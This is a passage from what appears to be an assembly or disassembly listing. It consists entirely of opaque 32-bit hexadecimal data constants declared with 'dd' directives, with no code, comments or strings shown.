121AC9Ch, 0A05A83DBh, 5FF153A7h, 0E7BC9605h dd 0A69D9449h, 17F60DBEh, 0EEF50B75h, 0A86E7F69h, 396D40DBh dd 9A13B357h, 0D83E217h, 3EC80531h, 69C68049h, 3300EA02h dd 58518147h, 3D3DD3B2h, 0E35034B8h, 8F87F80Bh, 1E3A310Eh dd 0E129BC0Dh, 6594ABE1h, 1C498CC7h, 4B7CC32Bh, 0C7915157h dd 869FA328h, 9F57B786h, 906489DAh, 60F1A362h, 6A6ACB87h dd 8CF15E4h, 10F0CC1Dh, 0AFA36D04h, 0A4125B26h, 0C7291099h dd 0EE31E62Fh, 20E26A26h, 0D42DFAFDh, 6134E6D2h, 0BAA9CCFDh dd 1E8B5551h, 2008890Ah, 9F57C399h, 1319FDD9h, 456E75B9h dd 12031864h, 42C5F5F9h, 2CAE4499h, 930CF151h, 0D3F8C42Dh dd 94684BFAh, 8829379Dh, 0DD8E688Dh, 83E10EB8h, 0C2E471C0h dd 0BA23058h, 0D131988Fh, 0C942F051h, 9D493BF5h, 0C9E7913Ch dd 739B38A9h, 64BF7ECAh, 7E5D60Fh, 0AC52DC1Ah, 6DCDEBFAh dd 94243F25h, 2475CD70h, 2B6177BBh, 0EE94DE3Bh, 8A7736E3h dd 0A2C0442h, 2CAEFC91h, 27B6D5CCh, 495BF04Dh, 0F48C848Dh dd 304C21F3h, 4E281C23h, 0CD42D3AEh, 0B780D727h, 0EAB68F65h dd 836623F3h, 23D7CBBBh, 0CF045EFCh, 0A00DD3E3h, 8E859872h dd 1F277684h, 9C590017h, 0EB4A7463h, 8B6E2A8Fh, 686E6143h dd 4CD0024h, 95682DB6h, 0D0A5E1E6h, 9534895Bh, 0D89DE6FCh dd 0DF3B4408h, 0C7C26591h, 6796A1FBh, 86C6DA9Eh, 43EA78Dh dd 25F4B34Dh, 7851D0BBh, 0A44309F2h, 0B60C9CD2h, 998F5D65h dd 68E6918Ch, 0B79829FBh, 2B356A4Dh, 0B816D324h, 7E9A7E36h dd 0F79C90B3h, 98859587h, 5FCC51ADh, 0B9E713B0h, 59B0BE3h dd 0D5CAC778h, 7FEE13CEh, 0AEE5C528h, 0B9CC1A59h, 0C8A28B34h dd 0DD7904C5h, 0CD1DBBABh, 0FA39819Ch, 0D3559E5Dh, 0AB6088EEh dd 3C73C149h, 560ABF9Fh, 0C8791C2Ch, 10712B3Fh, 2DC1EEFFh dd 0C3C22285h, 634BA44Ah, 46D3F09Eh, 7FE13668h, 6AA8DF8Eh dd 6A49C4F9h, 208B22C7h, 0F886754Ah, 3FF9D29Fh, 3DF9AC9h dd 9143A6CAh, 6752CB26h, 2046258Ah, 31F58E91h, 8ECD6B0Bh dd 4A7E7322h, 9AD9552Bh, 344B42AEh, 6D7F6E32h, 227AF7EFh dd 5EF33704h, 5906909Fh, 8957C86Eh, 7C1CF0B7h, 2C07A55Fh dd 0A8D4DD1Ah, 372815B5h, 219222D3h, 0E0761267h, 7E2A7919h dd 42F628F5h, 3479F1ACh, 19AD3E99h, 0F2152295h, 88E8875Fh dd 0F6403DE7h, 0D9745421h, 0DF401A0Ch, 0FCD8A5CDh, 0FE949E87h dd 8E839C67h, 0D1D843B2h, 95A0B249h, 5B7BA234h, 72DB532Ch dd 6C1560D7h, 8C87713Dh, 2B6C37D7h, 0A7B5213Fh, 0FC236763h dd 0AE67ECFBh, 0B63CC3BAh, 6A57835Fh, 666A55BBh, 4D376265h dd 9C13E79Ah, 0DF420784h, 0E6792BF2h, 0E5B7B295h, 76388F96h dd 0A2231D03h, 3C4335A8h, 1D6E4935h, 64C1420h, 0B1F7702Ah dd 2C64874h, 9AA56106h, 78A94117h, 0C3E0BC49h, 1A7EDD8Dh dd 1C13FDF0h, 347FDBD3h, 0C2E9187Ch, 5A2A939Ah, 0D825FD1Bh dd 0E0C0A61Bh, 1904456Ah, 71803C1Fh, 0ABB19A2Eh, 0E25E5780h dd 72BE4C2h, 982CE8ECh, 0B615FCD7h, 1BDDFF0Dh, 5B41DEAFh dd 304C2A91h, 0B0CD3FE8h, 46A3C203h, 8286B920h, 4515860Ch dd 0B8F9FF99h, 9B84E750h, 4F24B709h, 0B4C2A696h, 0A9F0DE13h dd 579AF5F6h, 9526F9BCh, 5DEF4539h, 2BEB6BC8h, 0FF7E498Fh dd 7F858097h, 0E12A61BAh, 25FE8A27h, 0E7BA4A66h, 0D9153950h dd 0F8CA03DCh, 0C79CC388h, 28423EBh, 10FB8847h, 36C24C24h dd 29EFB340h, 347FB87h, 0A91B75E6h, 567549A5h, 7D7C2199h dd 0B79BF887h, 0AB7E7E0Bh, 0A3C71593h, 0E7B44EB7h, 407F8ED9h dd 0C0688650h, 0E8952776h, 8F5E7E00h, 327F741h, 9A5A732Bh dd 988F1A9Fh, 9764882Bh, 0BE84E633h, 66575C76h, 91125987h dd 365F8BAAh, 0FBFA6C4h, 91EE91CEh, 0CD9449CEh, 0F70F63F2h dd 0C1E29CF2h, 0BE2646FCh, 14430270h, 0FCD12585h, 0C006CDE1h dd 36A4F8CAh, 6FE63CE9h, 0DE9A4A9h, 0F9D4BD82h, 75179ED1h dd 3BF331Fh, 3AB817Bh, 3D602C33h, 0C3D45542h, 9966FC14h dd 2A87839Ah, 4986723Fh, 69B3318Eh, 276F0E76h, 0B94DCFC1h dd 1D650AD0h, 738C5B1h, 6CED1989h, 0B16A418h, 0DC1DD8C1h dd 0AB571594h, 0B222EF1Bh, 5D866E6h, 0DAB5475Eh, 0DD3F7DAAh dd 0A33B5DEFh, 87F1CC11h, 0CE644FE6h, 363C7954h, 66E356BCh dd 7FAFFB4Ah, 0D9E985D0h, 0D5AB9E36h, 298DA78Eh, 0BB603CF6h dd 2CC07EB0h, 9DB7E115h, 0F29C6732h, 0AB4E66E8h, 0D5F33FE9h dd 0EF4210F7h, 532E2AB9h, 924D140Ch, 5E3B7B54h, 1A3DED1Bh dd 471659C4h, 746FF51Dh, 6B665CACh, 0BD0C9CB9h, 5A8DE60Bh dd 0C7F738F7h, 78CB1DC9h, 29354503h, 0B19128CEh, 0CEC47CD6h dd 977D19B4h, 8CA6A028h, 0B8F336CAh, 0AADB9EF0h, 0CECEA3D6h dd 0B11D0CB8h, 0DA070F3Eh, 0F2074D37h, 7D2DEAC5h, 20C6735Eh dd 6707873Ch, 298B72E9h, 29283941h, 667574C9h, 4E665233h dd 0B70DB26Fh, 6CCC2DB7h, 2071E113h, 0C9DABC33h, 5CD03BB7h dd 6A53E532h, 0C2C7B6B0h, 5757C5BDh, 0C47C4357h, 3BDFFA2h dd 6FA139D5h, 0D70D90D2h, 0F5F99A09h, 3B5D58C5h, 0D0CC86F8h dd 69DC62DDh, 5010B318h, 0D16DC302h, 8157F398h, 270E9B13h dd 23B303EFh, 10233B51h, 0B0B8417Ah, 0CAA54D95h, 88730332h dd 901FD182h, 8CF95E53h, 0E240B606h, 300BAC34h, 79F1766Fh dd 0CEF36500h, 0F8E74D81h, 4E59CF52h, 0FD6C81DFh, 0EB71E4Bh dd 4FA3183Ch, 0C4E3BBB2h, 0A805A1D4h, 0C446C7A6h, 0ECF772BBh dd 0EA6D3BEAh, 27D53E47h, 0C04B697Fh, 0A0A26EBFh, 0CF2D2173h dd 2CAB1E40h, 49E1FD51h, 0B7785904h, 0EFE9751Fh, 0BB4A486Eh dd 0B7FC3A65h, 73DDE9BBh, 832312C8h, 327AC981h, 39601957h dd 3042142Fh, 4E4E465Dh, 58D5AA58h, 1B74A7ABh, 0EE7D7DD9h dd 6C49F859h, 0F9328924h, 0F48D2850h, 0BD99B2EFh, 0FBCC34Ah dd 1503C067h, 0DFE4241Dh, 0AF669B2Bh, 8FBB3206h, 0BC95F9CBh dd 0E84775E6h, 65E8C089h, 2C746491h, 6A4988BEh, 0D424EA02h dd 0A2AF3294h, 7D9E4867h, 94509B4Dh, 75567F0Fh, 91780F24h dd 53128A2Fh, 0F8AD0152h, 0D1ADBF11h, 32CBDFFAh, 95C3E7D1h dd 0A2C47C9Fh, 0B3040A87h, 965D96C0h, 20B926E2h, 0B30D1D5Ah dd 75020700h, 0FB9A5722h dd 0BC420CCCh, 0A084E226h, 0FF41E617h, 632737F0h, 0CCEEF2B9h dd 975DB317h, 0DF12CE53h, 4DFE053Dh, 0E072198Bh, 0F0ACC55h dd 17F446E9h, 84735DFDh, 9BB0A43Ah, 0F256A898h, 59B55737h dd 16FEAAF6h, 4FA4599Ah, 0F9FFF0DFh, 0D02C65F3h, 5A4AFB71h dd 0E48EF439h, 7E8D8C3Ah, 36790BD1h, 5C4225FBh, 0E9976FE2h dd 3E266F45h, 9454E12Dh, 0F2BD5A40h, 81D317C0h, 2F5564BDh dd 0F2BCB1AFh, 0F0C748F6h, 0CD69B957h, 0D533AE71h, 8BB8B2B9h dd 62643F98h, 36232D63h, 6C05C3F1h, 0AAA33538h, 0BAB52529h dd 10E97F9h, 0CC836DA2h, 20472B5Fh, 5C6BADF2h, 0D71937Ah dd 0D27C9F83h, 84821865h, 0A572DBBh, 0CB0286BDh, 486845D3h dd 0C4EDC9CAh, 4FBDECC4h, 384A88D1h, 0FB4F7EC0h, 0D98B6940h dd 986AF69Ah, 51757C4Ah, 0E5666BC2h, 0F327D395h, 0B32F8AAEh dd 0A75FACFCh, 442F5C29h, 1290C6C7h, 0BCBB140Ch, 0CFFF1394h dd 2B73EB04h, 3351AE9Ch, 5AE2815Dh, 7341489Eh, 6B17A9C8h dd 2047A499h, 9B329A4h, 9C5CCD65h, 0DC069D3Fh, 0E45E8A89h dd 0ABCCB464h, 0FA3DE4CCh, 8FAD1D9h, 0E0A78560h, 6E278039h dd 6C9A318Ch, 922C424h, 595422CFh, 8A49CEBDh, 50C5921Ch dd 29C19D99h, 8DF898Eh, 3EC09A7Eh, 0C72F00B5h, 43A0D3B2h dd 0A57FDB54h, 0EBF309B7h, 0B28B3297h, 4EBB6DF4h, 35B1D2C7h dd 1C6C29D0h, 38B1BB22h, 7211F0F3h, 26DD0367h, 0B2211D26h dd 0AE78307Bh, 0EB55213Fh, 442E9FBEh, 5D7A2CEBh, 0C4EC39C0h dd 0AECE056Bh, 740B0417h, 1D8D87F9h, 9A8EB62Ch, 1B6F68B6h dd 6BD6DC6Eh, 4D8879C8h, 0C98FA1F8h, 0E3E66F43h, 4CD26B89h dd 0E6EC6AB0h, 7DE0B634h, 0CF0884A1h, 0A39FDF00h, 0C2F13B22h dd 0C2FADD7h, 2747CDA7h, 0D9109B88h, 346045F7h, 1DAF8F83h dd 0C375C3F0h, 270F70D7h, 0BB1F567Dh, 7A239C98h, 0E6E8F418h dd 548AB5E0h, 3157A491h, 23B7FB4Bh, 0BA6D7D0Fh, 0B2DB9AD7h dd 652DE562h, 1A472A16h, 0E83C0D3h, 0CBE34E2Ch, 0ADF6CE93h dd 0BE2EF0BAh, 3D4A96A6h, 92C698B5h, 0B9216FF0h, 329286DCh dd 0F94D8610h, 35B60E47h, 9254462Dh, 88F38BA2h, 818DAB36h dd 0FA47B02h, 16106A62h, 0AD100B26h, 0C6AAB023h, 997225A4h dd 0B3B9ECC3h, 72CA531Ah, 8ED3E025h, 7136508Bh, 72916D52h dd 9687B212h, 23FC33B2h, 975FFF71h, 1376047Ch, 891B33D8h dd 809F6ACFh, 13BCC02Bh, 59378F14h, 9F06169Bh, 4DD6F82Fh dd 0ADA11FF1h, 0F4D19816h, 5F4DBD43h, 4CE8C72Eh, 0EDFCDF4Ah dd 0D78C6A2h, 5B20C5ACh, 837A76C2h, 2C9E5088h, 83B34F78h dd 0FF5B2FAh, 0B2CF40D4h, 7A032D32h, 29605A28h, 347CE504h dd 0BC0DE7F5h, 0F615F98Bh, 6A7D2137h, 5D31A7A9h, 0E5CCDDC7h dd 7A0C622Ch, 5A4AC327h, 9F7C913h, 6B8F2F89h, 1F6C0E40h dd 0C74C3BE0h, 0DAA5AF57h, 227F247Dh, 3D9749B3h, 0E32C27CCh dd 0AC9E1ABCh, 2E346B94h, 728D074h, 0BBC0AD0Bh, 4BC4E1A4h dd 0ABD03D60h, 859E0C43h, 5EA7D032h, 0F3A81E84h, 0EB3DEE09h dd 4FEBC023h, 0BB82D5B8h, 5CF0FB27h, 0A351BDD8h, 0E5F30B17h dd 49A6E3DBh, 0CB87EB08h, 0C7D7F738h, 135F10A3h, 8F3AEC11h dd 9D6ECEFCh, 0AEF393F4h, 5A17258Bh, 0B077D00Eh, 775458Bh dd 277A030Fh, 530605DEh, 49E2AC0Ch, 67F95F61h, 58A15E6Ch dd 0BDCD4EC9h, 621FCD28h, 0CA735A27h, 1E320AF9h, 4291713Eh dd 25DF7BDFh, 0F19ED7D3h, 0AEB201A4h, 3587E58Fh, 0EBB968Ch dd 0D63F1B92h, 222FC76Bh, 48FF32C2h, 13F305CAh, 9E5ADB7h dd 4052FB4Bh, 64D928B0h, 3CA2EED9h, 0DBF091Bh, 6A30AF72h dd 0A450D8B5h, 32F126D6h, 0BB7C64D6h, 3D9A184Fh, 517EFF91h dd 843893B3h, 8504F6DBh, 0DE572A5Dh, 5D6E5F64h, 0D8D4D1Eh dd 94B37328h, 14D147A0h, 989FFB6Eh, 4963BF44h, 0EB724296h dd 0C7AE68DEh, 92392DC0h, 0CF3175F5h, 0BB596163h, 26D87961h dd 0A2A86E2Dh, 0EB955BCCh, 1FD129CAh, 20B4DC84h, 0A68E173Ch dd 0CB558849h, 109FD20Ah, 38B5783Ch, 83870C8Ch, 6EFDA786h dd 0F1212159h, 0E0EF813Eh, 0B8B77FCDh, 0C870445Ah, 0A04F35FDh dd 7161F938h, 365715Ah, 0A58A28B7h, 8ADAEF28h, 3CAFD087h dd 978DC44Bh, 0E4F90CE1h, 0B02CC067h, 0A2715970h, 0B7E44139h dd 2F0F0173h, 6A733174h, 76FF3300h, 9429C61Eh, 0D5F34909h dd 2408906Ah, 7C81BC82h, 17DDCA8Dh, 4715D9CAh, 0FC8C6DBDh dd 0F5046E65h, 0AF572EB0h, 2C886616h, 3B86293Ah, 97116160h dd 3E0C331Ah, 0D3407161h, 5E359246h, 93295E75h, 0F3B53F36h dd 0A182B909h, 2EE387AFh, 9679E91Fh, 4EEDC8BCh, 0AB2819E4h dd 0A9DEDDABh, 1346E7B4h, 42927E62h, 0AE2B2C31h, 0EDBF5799h dd 0FA0134C2h, 214A9F72h, 170BD208h, 0D30D80C6h, 49743797h dd 0D5CC97E3h, 0D0EC8E5Eh, 897B46DCh, 4FB736A1h, 925D11FBh dd 0CE44A9EAh, 6A584FDh, 53CB924Fh, 69183071h, 57D23801h dd 6962B665h, 9C0C9747h, 0C71C1BF0h, 0C7BF5F75h, 3534D226h dd 65259368h, 7F4F7476h, 0BF158097h, 0BB3F4B49h, 12568658h dd 50ED5022h, 0D45465BCh, 91FFD31Eh, 0A9AEB39Ah, 0EF07C471h dd 5EF7CEC3h, 227FAA89h, 611C5439h, 592A8D12h, 4964E617h dd 864B7FE2h, 718B7600h, 54FF40E1h, 2B92868Ah, 7D5E49B1h dd 28FEC66Bh, 48EB1E93h, 7BD3E873h, 0C5BD1ECh, 0DC72F988h dd 6AEDB3C3h, 0E8C79437h, 8D14CAB1h, 818856B3h, 2FB3A810h dd 0B1FCDF0h, 0C42F4E35h, 0CBC12BBAh, 0A06D2912h, 0C4C06319h dd 0CD2B85B6h, 766D50A5h, 5B9EAF27h, 946172E0h, 2368091Dh dd 69DD21CAh, 9C4B9FDFh, 0A7F3DA6Ch, 2D663276h, 860403Eh dd 0E29AD4AEh, 0F97F936h, 56B01974h, 8799569Ah, 0DBF948h dd 39BE0ECh, 9FA36C45h, 1F5D0583h, 40F06E86h, 5BD369D9h dd 0CED74139h, 0A7FDF859h, 4A2A0F07h, 91319F1Dh, 235560ECh dd 826BFCE5h, 4CD71282h, 0F1DB5088h, 18CD3874h, 758D8FC0h dd 40F4C894h, 53288A8Eh, 0B448331Bh, 0AA38CB39h, 83C8FD2Ch dd 0D9C80294h, 16761413h, 32F5EC61h, 7A5C72C7h, 0E055D298h dd 46ACC12Ah, 10981DA0h, 0BA4D694h, 2B4B521Eh, 0C8F45E8Ch dd 0FFDB9B37h, 892C86C4h, 0D9FCF603h, 0CFAF514Bh, 0B99B4A73h dd 0A21F656Ah, 0C3EDAC52h, 0C5DF0A7Eh, 62F74A32h, 0C97B3287h dd 23DAF706h, 0AD1E7888h, 313D777Dh, 0DB4D8502h, 0E57AAAA8h dd 0D5C0550Ch, 0DB4F7E8h, 21CC4467h, 0ECD986A0h, 54082CEh dd 0F2206811h, 0DE8D13D7h, 0D0F11529h, 5EE45D41h, 0DB60E0C2h dd 4633DBD6h, 10B51921h, 274F00C0h, 0CD788619h, 4E4E19B9h dd 0C449C8C0h, 0BF3A9363h, 0D57C97E4h, 0F9857FB6h, 72501E5Dh dd 0F0A0C22Ch, 993DCC6Eh, 0F9E9F3E2h, 84CB989h, 98C3DDB9h dd 4279CE12h, 30A812B9h, 16D6CEF0h, 6E486F55h, 8928865Eh dd 0D1ABD218h, 0DDF24BA0h, 34A7D0FCh, 7C7ECC11h, 0C60F2F15h dd 7A9EAE9h, 69E9810Eh, 50A07468h, 7C7D7510h, 28038923h dd 9E7306CEh, 350C2528h, 6CF4A75Dh, 52EE2420h, 5A47F2D9h dd 0CED851A1h, 0C055AC30h, 6696C812h, 0DF6660C3h, 0FA4012D6h dd 19DC4C1h, 42F4FF0Eh, 0DA09E720h, 0C8C4F233h, 9CA65333h dd 0A8B6CBC2h, 0DEB2DC73h, 0C4265C1Bh, 0EDAFEF23h, 6C28D2A5h dd 0F106626Ah, 3AED3778h, 19483267h, 0DC0333C0h, 6E6930EAh dd 0FCD32E83h, 83B00DD8h, 0CB4035B2h, 3AE2C70Dh, 105028C7h dd 6BC0BC6Ah, 0A392ACDDh dd 0FA1DD6A6h, 0E757EE40h, 66AE092Dh, 0F7BE4FCEh, 0C4E7554Eh dd 6960F877h, 1638C83Ch, 7FC241E0h, 0CC9EE8C5h, 1E7A8365h dd 0ABD49E41h, 14347E66h, 39D46CE3h, 299C7256h, 0F1352681h dd 3CD36428h, 0BED3821Dh, 0EFD37E9Ch, 7221EC9Fh, 0FF5F6D84h dd 0F830E283h, 221C868Dh, 35F965B9h, 21D1A777h, 4E387339h dd 97F197FCh, 2B98FD06h, 26CE3BC9h, 0F84C96A2h, 26997669h dd 9EC921FFh, 19BA447Bh, 4E91F81h, 42B06BB7h, 0FA625626h dd 0F0B4FCE7h, 0E05316C7h, 983DAD23h, 0A0404EE0h, 9063CDE4h dd 9A73910Eh, 78E70D88h, 1DEAE403h, 3EAFB093h, 4A12E746h dd 315A6384h, 18EF7174h, 51D34C82h, 0A6BCEC8Bh, 1EF41762h dd 48192DBFh, 74BBF681h, 253D5A1Fh, 1A2013E7h, 0A00AE7D7h dd 0E3B631ABh, 7A1C3EC6h, 0A064BFBBh, 0F3F085BDh, 0B4C09E73h dd 637F9030h, 5E0D7B27h, 952BEEB0h, 43D4EB29h, 33274EBCh dd 0E1340B68h, 10CDF4CCh, 0E9A33235h, 21989CFEh, 0A4D12D5Ah dd 2D929514h, 599CD479h, 0E7795738h, 0DEF59ABFh, 9B907D26h dd 802AFDDh, 436CFE83h, 0CF7899h, 8BF6C84Dh, 8BE03BDFh dd 51EBF47Eh, 682F95AEh, 0F38BDBCCh, 87077EADh, 199DE22h dd 2F60999Ch, 271965B0h, 247C1D4Dh, 0E3DB9649h, 88916498h dd 0F992FC3Fh, 9DB508AFh, 0ACA5CD24h, 7F3BD62Eh, 0C2F2E7EBh dd 1C758756h, 0B1488A16h, 91C61205h, 6530051Ch, 6B8E17ABh dd 2172BA08h, 1526872Eh, 798DE0AEh, 3198B41Eh, 0E6CF6579h dd 0C1D6CD10h, 5CB69B07h, 0E4FF8E7h, 699EF068h, 3AE37032h dd 0A141862Dh, 0D28F0999h, 25A0E107h, 0F9F7C41Eh, 36623E55h dd 46E24A12h, 0E821B05Ch, 0BD8000DFh, 0A70091FDh, 794049B9h dd 0C95CE079h, 0EF287AD0h, 2EF388F1h, 52E6A5Fh, 0B4F7DDB6h dd 0A02A1243h, 84E2A4CCh, 0DD3111C4h, 0EBAFA9C7h, 0B2873F7Ch dd 0B65FAE36h, 3587A6D5h, 3EAE3CB1h, 44353EBAh, 0E47A5C3Eh dd 9FD539E4h, 30D97357h, 0B0D6A345h, 0F32E9D53h, 8FF76FAFh dd 7BA03086h, 67D8E8F7h, 930EF652h, 0B1C8775Fh, 0B5BF68ECh dd 1EBCEA9Ah, 34C09894h, 8008677Dh, 6A7E9140h, 6BDAFC48h dd 0D8BBB536h, 5BFFD7F6h, 0E1649E2Eh, 0B47454D6h, 32171104h dd 8765D7D9h, 0ABA32AACh, 0A29080F8h, 0A0D3C3CBh, 749A89AAh dd 5BEE9C34h, 3C558AE6h, 52465091h, 6DA0E68Bh, 3BF43AFAh dd 0EBFED8EBh, 180F9EB0h, 2EC02390h, 175F0526h, 884A916Eh dd 8CFAF14Fh, 0CD28CAC8h, 22EAAAC2h, 3C1DB641h, 0F7296231h dd 6E907B2Ah, 2E85329Dh, 4942FD30h, 0DBCFAD7Dh, 6398BD0Ch dd 4A4E719Ch, 0A3C5A38Bh, 77472B82h, 0DA7A61DDh, 0CA59791Ah dd 2DFCC47h, 868193BBh, 54B9EE6Eh, 0A7EBE22h, 0CD8C5EFh dd 4F3EFF47h, 0FAB95067h, 0CCB72C2Eh, 2F7B0CBEh, 0D5ECD90Ah dd 13267094h, 53FD1DBAh, 0E2B63950h, 0AD1BA55Dh, 7B366BD5h dd 80AD015Eh, 0E79306BAh, 0A09C5E00h, 2D0ED32Ch, 949A9151h dd 4927C3B1h, 86BAC01Eh, 916788D1h, 5ABEC205h, 1EEC83C2h dd 0E0DF1DD6h, 2FF7E69Fh, 3CE14B9Dh, 0D39A756Ah, 0B9935DE2h dd 0DA1C44CEh, 0C90F33h, 0CD69533Dh, 13EA3244h, 0E2AAD5C1h dd 284F6C59h, 327B072h, 79C5A3A2h, 3555F2BEh, 0B85C594h dd 0D2EF39B2h, 866F755Eh, 0EB3CA7BDh, 705CC05Ah, 0A3DD0D2Dh dd 0C07787DCh, 0B062E15Fh, 3B8E9563h, 82A96CF9h, 328A6D1Bh dd 68BE0443h, 0C993E7B3h, 0B2B704BBh, 0AF46C7CCh, 0B42BE5FAh dd 0D6E29224h, 251C24F9h, 0E52611C1h, 330D1265h, 9EEDBA4Ah dd 688FBD47h, 0C8529A66h, 559AD48h, 0BDDBAC51h, 32FF570Eh dd 160FE344h, 0DA23E885h, 0B1536001h, 0DFA5AD4Dh, 1394332h dd 7378C942h, 0E260A336h, 0FFA2C599h, 0DB2A61B8h, 0EEA29E43h dd 0DE7D5D8Fh, 0A88E80C6h, 84D80FFh, 0F5715D37h, 4C9C4694h dd 7C382073h, 6EAC8385h, 0FEEE9EECh, 0A641CCB8h, 0A50ACB6Ah dd 0D4389E58h, 0A5B4D220h, 8712DCD6h, 0B05C4236h, 0F2932363h dd 1FAA575Bh, 4BDC4404h, 824C515Ah, 3ADA280Ch, 4E7925EEh dd 7E386B8h, 2BED8AB2h, 661C1B40h, 0AF0E6774h, 29E5E232h dd 709CAEA2h, 0B3D9099Fh, 0CB5FFE5Ch, 0DC11AEEDh, 0D9A3184Bh dd 3594C38Fh, 0F1CDEE88h, 10CF79Bh, 2EB0D86Ah, 81F6102Ah dd 0D864E3FEh, 28ACFF71h, 0BA78A1F2h, 99E712EDh, 0E7C0D026h dd 8F739329h, 0C496EA31h, 7589BC7Bh, 727EF9ACh, 79F98B5Bh dd 27B0CC12h, 24AB901Ch, 0C896BA24h, 153E3829h, 4072334Ch dd 5C5F5A48h, 5C2E3267h, 6D8B592Ah, 0B055975Dh, 5A21859Dh dd 7361715Dh, 6FE15885h, 0DCB5EF0Fh, 0AEB2EE6Fh, 0F91CD1C3h dd 0AB569290h, 22B2E1D2h, 0A56A3803h, 5C6CC631h, 2EBF0C0Fh dd 2F81B0D3h, 8F19CB4Ch, 81F319Ch, 2F842E63h, 0DCD891E0h dd 0CD2DC987h, 8B818564h, 5AAA40h, 0E1E03EE4h, 0C99F6BCEh dd 23D86EB1h, 0C176F24Eh, 0C406AEDEh, 1CB4D1E2h, 430BA772h dd 991E70F9h, 37735230h, 44E096EBh, 0F45BB55h, 0FAA23385h dd 67CB72F7h, 5AC50A54h, 0DB11D73Eh, 67BCBF1Eh, 0B3C54564h dd 0AE311B5Dh, 0C4E33FF2h, 3915810h, 0FB2FE040h, 5EDFC94Fh dd 158DABEAh, 0B7C69BDAh, 9014D0DDh, 0A02D3FD5h, 0E5733552h dd 0EEAD006Fh, 20F319B4h, 0D428F2B9h, 514B4DDDh, 759703EFh dd 0A466425Dh, 6AB2B642h, 87F847B5h, 0C1770B89h, 0D64D8141h dd 375D02EFh, 0FB66C640h, 7508A680h, 0E059FBFFh, 922003FBh dd 8ECDA423h, 0C8322180h, 7242501Fh, 36143AEEh, 0E2D64B0Dh dd 679BC396h, 0C3C3B6EBh, 975482F7h, 0AD63C403h, 34945E33h dd 0D1DF12Dh, 5655973Ah, 36BB93F5h, 5539AEF3h, 430D8264h dd 0D259B9h, 3DBD1762h, 0E5225191h, 0D8644D8Dh, 7FFE2014h dd 9A842EE4h, 0B8A73DB4h, 961A9BC5h, 99220F4Fh, 681CF347h dd 0C1EECD02h, 80160073h, 0C43637C2h, 8354E767h, 0DAA5AC77h dd 0EC0B608Dh, 86E74E04h, 819FADF0h, 5186D45Bh, 9DEE5403h dd 0B0DB192Fh, 841481FFh, 0A75F7727h, 71B5934Fh, 0F2C289CCh dd 84770863h, 0C8096630h, 0A2C04440h, 0DB6B89CFh, 340B4309h dd 0A8A05F96h, 5E52B27Bh, 640B1BA4h, 1F3B90Fh, 0F2E47D0Bh dd 80B63E1Bh, 0A4E21A7Dh, 21CEE339h, 868099C9h, 0C61851A5h dd 0DF4DA1D1h, 3D1C3C9Fh, 0BD362DE8h, 0E8A52ECCh, 0E30B8811h dd 0B42CE734h, 0D56113C4h, 0FDDB8130h, 0AE9349E2h, 6375DE47h dd 0D4F04DB8h, 0DE5F627Dh, 0AF50248Eh, 0C711FC42h, 2BE36F32h dd 0C5000047h, 71E9A14Fh, 3E47C2A0h, 0F0D928FEh, 10A003F7h dd 4DAC7F56h, 0EEA4D980h, 92983243h, 71C09E9Dh, 0E040255Fh dd 0B3DE61BAh, 0C7784D26h, 5FB431A9h, 0BE4702E7h, 552D83F9h dd 47CB9DBBh, 0E18693Bh, 6C6D24B2h, 0C1A0F234h, 0E5522A8Ch dd 0B0CAD31h, 3187B40Eh, 0CFDB5D39h, 0CA5B98Ch, 2285B745h dd 537507FDh, 3B1937A9h, 54D7D985h, 709FD2E5h, 69847331h dd 7BE19CE3h, 0E7496EB4h, 0FE5FCDCAh, 6F7206A8h, 0E2EC74DFh dd 7BD08908h, 0BE8A6E4Eh, 9FEE1B9h, 0EA367B34h, 18A0BB3Ah dd 0BCCD2A9Bh, 0D0E180C4h, 0D2FB69B8h, 97D2B088h, 0D91CB16Bh dd 0EC698907h, 4BCF8D7Ch, 71B15E84h, 787C258Ah, 663FA7CBh dd 0D1B5C35Dh, 42F243B3h, 8A3FEA66h, 830C3A9h, 649EEF26h dd 0D9983DAEh, 31A92CFDh, 0AB64EDBCh, 341278C2h, 0BD3187DDh dd 97D28603h, 74778AEBh, 0C28C798Fh, 0A772CC9Bh, 4D7CA5B8h dd 7D2557B2h, 0F974E3CCh dd 0A4B151CBh, 61B9D151h, 190FC6A0h, 0DDF7054Ah, 0E12F68D3h dd 412EB5B4h, 0FD8D3538h, 0BBD28B4Dh, 158188Fh, 0F354D295h dd 3E9AD9C2h, 1B5C120Eh, 1931A707h, 536ABCB1h, 3BBAB80Ch dd 65DC3692h, 93E03E60h, 0D5BECFFEh, 0BBFB955h, 3E647C51h dd 198F31Ah, 45AB5EDBh, 67480AC2h, 9B93E0DFh, 0BC341511h dd 0CC33584Eh, 0CD961297h, 75E8510h, 85C6DAB4h, 9D6842FDh dd 0EA9A9EFh, 7BA74BFEh, 3A7A6498h, 0E3F44DBAh, 61155E28h dd 144AEA7Fh, 0D4711D6Ch, 8F2F4C6Dh, 0BD8D4F4Ah, 0D50753DFh dd 9E1CE2E4h, 94D267A0h, 3D039791h, 345DA7C2h, 0CC19344Bh dd 67E4F2F4h, 45879B51h, 4F6C152Ah, 9B56BB6h, 0D4B8F34Eh dd 0CD876766h, 0D60EBBE6h, 0A5D31F42h, 9EE39A6Bh, 0B9FC5D25h dd 0CCF1ECA4h, 6CA80F7Eh, 0D1233366h, 0AE74363Dh, 555A22F4h dd 5FE752E7h, 0B797C30Ch, 7E3D8D8h, 0BE9AF277h, 585FB6D0h dd 0C7906DBFh, 67410DA4h, 0BFA505AAh, 846CD764h, 1CAE1870h dd 0D3566B12h, 0E8CDC8D1h, 0DAE44D6Fh, 0B1EE65A2h, 8E6FAFB3h dd 64231C29h, 1EA76D28h, 3B097E0Fh, 70620ABFh, 3D22E11Ah dd 0AABFDA01h, 0BCEA14B5h, 9CC91FDh, 8D74114Bh, 3BF7BB70h dd 84575DB8h, 0A658D7A7h, 0FB8294C6h, 4EAB026Fh, 0D9BC52A6h dd 92A549FBh, 18A7E267h, 9DF78450h, 4AF8AC5Bh, 4C48849Ch dd 7C6E10B7h, 256F959Dh, 0EBAFD473h, 0B8E0FFBFh, 2C2AB6BAh dd 0FF52ABE2h, 0C20F8908h, 47CEE7B7h, 0F9F6B02h, 0A36AC523h dd 3D02C5EBh, 1BD1BAB8h, 0F10A6E6Fh, 74EFD327h, 73A77814h dd 7DD12E38h, 0FDE078BCh, 0CA7380ABh, 27FE9Ah, 0CF28C5FBh dd 6A54DAEDh, 0CA4EB759h, 298D6BEBh, 74011E6Dh, 904B624Dh dd 382E5B12h, 